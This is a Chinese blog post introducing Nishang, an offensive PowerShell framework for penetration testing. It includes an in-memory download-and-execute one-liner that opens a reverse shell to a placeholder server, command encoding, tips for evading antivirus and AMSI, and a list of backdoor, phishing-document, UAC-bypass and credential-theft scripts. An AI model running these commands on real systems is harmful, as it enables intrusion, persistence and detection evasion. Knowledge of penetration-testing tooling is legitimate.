工具源码

一款具有攻击性的 Powershell 框架 —— Nishang

zeronohacker · 11月24日 · 2020年 · 331次已读

项目地址:https://github.com/samratashok/nishang

By @nikhil_mitt

为什么今天会突然会介绍说明下 Nishang 呢,原因是在 VT 中看到了有脚本利用了这个框架,因此,便把它给记录下来

1 介绍

NiShang 是一个框架,也是一个脚本和 Payloads 的集合,可在攻防、渗透测试和红队联盟中运用。NiShang 尤其是在渗透测试当中非常有用。

2 用法

在当前 Powershell 会话中导入所有脚本 (适用于 Powershell v3 以后的版本)

PS C:\nishang> Import-Module .\nishang.psm1

. 加上源来使用单个脚本文件

PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1

PS C:\nishang> Get-Information

获取某个脚本和功能函数的帮助说明

PS C:\nishang> Get-Help [scriptname] -full

注意:该帮助说明适用于运行脚本后的加载函数,而不是脚本本身 (0.3.8 版)。在所有情况下,函数名称都与脚本名称相同。

举个粟子,想要知道 Get-WLAN_Keys.ps1 的帮助说明,可使用

PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1

PS C:\nishang> Get-Help Get-WLAN-Keys -Full

3 反病毒

许多反病毒软件将 Nishang 脚本标记为恶意。因为运用 Powershell 编写的这些脚本在目标的内存上执行是非常容易的。下面列举了在内存中执行 PowerShell 脚本的两种基本方法

内存中下载和执行

使用以下命令从远程 Shell,Meterpreter native shell,Web Shell 等来执行 Powershell 脚本,也能从中导出函数。Nishang 中的所有脚本在当前 Powershell 会话中均导出具有相同名称的函数。

powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]

使用 Powershell 的 -encodedcommand (或 -e) 参数

Nishang 中的所有脚本在当前 PowerShell 会话中导出具有相同名称的函数。因此,在 non-Powershell 程序中使用 encodingcommand 参数时,请确保在脚本本身中进行了函数调用。对于上面的示例,添加一个函数调用 (不带引号) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]"

使用 Invoke-Encode 来编码脚本:

PS C:\nishang> . \nishang\Utility\Invoke-Encode

PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand

向 .\encoded.txt 写入编码数据

向 .\encodedcommand.txt 写入编码命令

从上面开始,使用来自 encodecommand.txt 的编码脚本,然后在可以执行命令的目标上运行它 (远程 Shell,Meterpreter native shell,Web Shell 等)。像下面这样来使用它:

C:\Users\target> powershell -e [encodedscript]

如果仍然检测到脚本,则更改功能和参数名称以及删除帮助内容将对你有所帮助。

如果 Windows 10 的 AMSI 仍然阻止脚本执行,请参见这篇博客文章:http://www.labofapenetrationtester.com/2016/09/amsi.html

3 脚本

目前 NiShang 包含以下脚本和 Payloads

ActiveDirectory

Set-DCShadowPermissions – 修改 AD 对象以提供 DCShadow 所需的最小权限

Antak – the Webshell

Antak – 使用此 Webshell 在内存中执行 Powershell 脚本,运行命令,下载和上传文件

Backdoors

HTTP-Backdoor – 后门可以接收来自第三方网站的指令并在内存中执行 Powershell 脚本

DNS_TXT_Pwnage – 后门可以从 DNS TXT 查询接收命令和 PowerShell 脚本,并在目标上执行它们,可以使用查询进行远程控制

Execute-OnTime – 可以在给定时间上对目标执行 PowerShell 脚本后门

Gupt-Backdoor – 后门无需连接即可从 WLAN SSID 接收命令和脚本

Add-ScrnSaveBackdoor – 可以使用 Windows 屏幕保护程序执行远程命令和脚本后门

Invoke-ADSBackdoor – 可以使用备用数据流和 Windows 注册表实现持久性后门

Add-RegBackdoor – Debugger 后门程序,可以使用 Sticky 键和 Utilman (Windows 键 + U) 执行 Payload

Set-RemotePSRemoting – 修改 DCOM 和 WMI 名称空间的权限,以允许非管理员用户访问

Bypass

Invoke-AmsiBypass – 实施绕过 AMSI 的方法

Client

Out-CHM – 创建可以执行 PowerShell 命令和脚本的受感染 CHM 文件

Out-Word – 创建 Word 文件并感染现有文件以运行 Powershell命令和脚本

Out-Excel – 创建 Excel 文件并感染现有文件以运行 Powershell 命令和脚本

Out-HTA – 创建一个 HTA 文件,该文件可以部署在 Web 服务器上并用于网络钓鱼活动

Out-Java – 创建签名的 JAR 文件,该文件可以与 applet 一起用于脚本和命令执行

Out-Shortcut – 创建能够执行 Powershell 命令和脚本的快捷方式文件

Out-WebQuery – 创建网络钓鱼凭据和 SMB 哈希的 IQY 文件

Out-JS – 创建能够执行 Powershell 命令和 Powershell 脚本的 JS 文件

Out-SCT – 创建能够执行 Powershell 命令和 Powershell 脚本的 SCT 文件

Out-SCF – 创建一个 SCF 文件,该文件可用于捕获 NTLM hash challenges

Escalation

Enable-DuplicateToken – 当需要 SYSTEM 特权时

Remove-Update – 通过移除补丁来介绍漏洞

Invoke-PsUACme – 绕过 UAC

Execution

Download-Execute-PS – 下载并执行内存中的 Powershell 脚本

Download_Execute – 下载文本格式的可执行文件,将其转换为可执行文件,然后执行

Execute-Command-MSSQL – 以足够的权限在 MSSQL Server 上运行 PowerShell 命令,native 命令或 SQL 命令

Execute-DNSTXT-Code – 使用 DNS TXT 查询在内存中执行 shellcode

Out-RundllCommand – 使用 rundll32.exe 执行 Powershell 命令和 Powershell 脚本或反向 Powershell 会话

Gather

Check-VM – 检查虚拟机

Copy-VSS – 使用卷影拷贝服务拷贝 SAM 文件

……

更多脚本可在项目中查看,在这不一一列举,因为实在太多了!

4 更新

关于 Nishang 的更新可关注这个博客:http://labofapenetrationtester.com 或者是关注我的推特 @nikhil_mitt。

5 相关文章

以下的一些博客文章会对初学者有帮助:

所有关于 Nishang 的文章:

(本文完)

0 条回应

必须 注册 为本站用户, 登录 后才可以发表评论!